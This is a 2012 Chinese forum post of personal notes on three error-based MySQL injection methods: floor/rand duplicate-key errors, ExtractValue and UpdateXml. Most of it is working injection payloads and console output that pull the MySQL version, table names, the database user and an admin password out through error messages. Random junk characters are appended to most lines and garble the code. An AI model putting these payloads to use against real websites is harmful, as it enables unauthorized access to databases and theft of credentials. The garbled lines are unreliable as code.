找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2621|回复: 0
打印 上一主题 下一主题

关于Mysql注入过程中的三种报错方式

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-10 10:28:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。
, T; W5 l6 E- l& A& v  O$ c实际测试环境:
" S6 r- w1 z) `# g: R​
! I# h  w! D* n' N
4 j8 B$ ?2 W; `% I1 Y6 i9 Rmysql> show tables;
6 O% ~  i: i0 r8 }2 z+----------------++ ^. S: u* J6 o  K$ v2 o
| Tables_in_test |
/ B' }% q. |2 X6 M, n* \+----------------+% D$ O) ], B1 l( g8 V9 r" J
| admin          |; `% a% S  [6 j; C1 v; H, ~
| article        |3 G6 D$ p3 `+ o0 [( r% S
+----------------+
# ^& u) {! I2 u/ u/ k , J# l7 k4 r9 P! Z' d, }( \& u
6 T1 Q, r) {" t7 E  R0 U
& P( f4 j% f% [( e
mysql> describe admin;
9 A7 ?4 q% d2 l: y  D1 o+-------+------------------+------+-----+---------+----------------+( J/ v0 `) J! y. B6 z& }2 p
| Field | Type             | Null | Key | Default | Extra          |+ ?- _5 J( v  n: @2 `
+-------+------------------+------+-----+---------+----------------+
/ [8 }7 v( _; N  V| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
! S5 W# s# ~% M' A3 D& X| user  | varchar(50)      | NO   |     | NULL    |                |. q% j, H1 i1 e4 _  i
| pass  | varchar(50)      | NO   |     | NULL    |                |$ _0 {4 J2 w7 T9 I* g8 v# o
+-------+------------------+------+-----+---------+----------------+
. z3 q: O/ S' |, G
7 e& O- N2 Q- V5 s6 { ) V4 q8 h8 c" v$ b" ]$ D! V
9 @1 N* y# v( k9 S% N; _1 Z
mysql> describe article;
" I# @3 B  g% P4 p; J+ v3 g+---------+------------------+------+-----+---------+----------------++ K# p0 A& Z9 _
| Field   | Type             | Null | Key | Default | Extra          |
. b  Y) o- x+ y6 s8 A, L( j+---------+------------------+------+-----+---------+----------------+0 [' V! D, Q) }- \0 {
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
0 z/ ~  V& c& H- i/ D; G! l| title   | varchar(50)      | NO   |     | NULL    |                |
+ U( D/ u, O: R( s* h4 ~( V8 |2 E/ L| content | varchar(50)      | NO   |     | NULL    |                |
: t% r2 K* d- s1 `' p+ ]1 J4 ]. {+---------+------------------+------+-----+---------+----------------+
" H) j9 p, L1 W. f; ~/ f1、通过floor报错
" z0 ~/ z/ K$ }1 L, X  c" S可以通过如下一些利用代码' Z9 M" i1 j" O' [+ j+ z
/ a! y  X& y. }; f2 i0 f5 ?. |

# C+ X+ D. f6 uand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
2 L5 M# A% o' C& p' \from information_schema.tables group by x)a);) d, x  u% s* L% l

, C# ^- ^# `# \# U0 c
; Q8 J$ P0 T0 N* N( v5 p! t. Z9 Xand (select count(*) from (select 1 union select null union select !1)x
$ i8 _6 H% ~0 B- E: A3 o$ e, Mgroup by concat((select table_name from information_schema.tables limit 1),2 i: }! l  H: I8 D
floor(rand(0)*2)));
( W& n% T+ l9 ]3 P举例如下:6 U' h$ [$ o: x* l$ @1 g( I& f
首先进行正常查询:+ O8 ^# B8 {0 ~' \4 R( D
9 g) V# k6 z# a% v' J( m
mysql> select * from article where id = 1;2 n5 q# v! G& D0 `
+----+-------+---------+
+ C- s& L0 x7 E4 @! ~| id | title | content |( t& `0 r4 s8 Z
+----+-------+---------+
* Y1 Y& F  ]( U% a|  1 | test  | do it   |/ C& ^) ]1 n) b
+----+-------+---------+! t' n/ K' K0 A' `: ~  H6 r
假如id输入存在注入的话,可以通过如下语句进行报错。, n; _' w$ k& l

, n9 C( s* F+ S/ R( v# p& ^ 1 F7 Y/ E/ Q2 W3 D( B( @4 H" b5 a
mysql> select * from article where id = 1 and (select 1 from
( C3 Z5 s0 I7 z5 f0 ^(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);/ N" }1 J. k8 f6 U+ o2 @, P
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
% {7 }1 r6 J/ N) v0 c( M可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。/ n1 m1 ^" p1 \; u, c/ L. v
例如我们需要查询管理员用户名和密码:
- u8 |9 C6 x( x( q9 c1 K! t% bMethod1:
% N. }7 E/ V7 |) w6 P" q& y3 E% ~( @ 7 ~1 G1 Q" F2 ^4 U# ?' m* N0 G
  r9 i# E; ~* M( Z& e6 g
mysql> select * from article where id = 1 and (select 1 from9 l+ `- T3 E9 m( X! l) @
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x4 r3 W. x( h8 L$ a. ~9 _
from information_schema.tables group by x)a);+ w) u7 N! d. ?5 T6 Y
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'" _6 i; ]2 b" U. \
Method2:2 U2 m/ N) I8 y- F

, R- d! A6 d% i( q2 }0 i0 ?: M
% o* {% q6 p5 W# {& Imysql> select * from article where id = 1 and (select count(*)
2 A3 j1 o# T5 @from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),( o* k7 A5 h6 C4 W5 X* W- b
floor(rand(0)*2)));. y% O! W: L# J; d+ r' l$ q- R
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'1 t* o3 [( G: `6 n- T. Y' }
2、ExtractValue
& _3 u! \2 ?; e& G$ t9 s6 u测试语句如下; t7 O1 A5 U4 `7 s$ g

) `9 I2 }8 M1 m: D/ p
6 \! d* t, [  u" T1 J/ s1 O1 w2 R/ Jand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));$ C/ k' V4 F2 G3 n/ o1 x8 U# ~8 V
实际测试过程
2 b6 e  t7 w- f; x ) \3 h8 v/ W/ r- g) A8 d

+ P$ D! t! y2 Z2 x2 Xmysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,9 Z6 w& f# ^0 x$ B
(select pass from admin limit 1)));--
0 x" W" s1 v& F; \7 E$ D+ f, w7 ~ERROR 1105 (HY000): XPATH syntax error: '\admin888'2 g- ?# i/ n5 c( ?
3、UpdateXml8 D; w7 p, M' R$ R% p$ `
测试语句
7 k1 L$ }( o) P6 Q# ?+ Z+ L
- @$ a; P) T: v& [( d& t( ]
0 S: \; j, u" Q7 l* Kand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))7 p* B7 [( x) ^# A
实际测试过程9 E# u- `+ ?( ]: y+ P$ y
8 b, d& h+ C$ W

; V6 s0 d8 c/ M3 A1 O2 pmysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,) j4 v* \. A0 q9 r" H
(select pass from admin limit 1),0x5e24),1));: t3 s  ]! X) U" W3 `
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'2 L/ f% ^$ I1 q& e4 \* Q1 E7 n
All, thanks foreign guys.
& X$ i( S: }4 e/ s) @9 x 3 S$ z! M3 F) V# z
​
" r+ ~1 F5 G& h6 f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表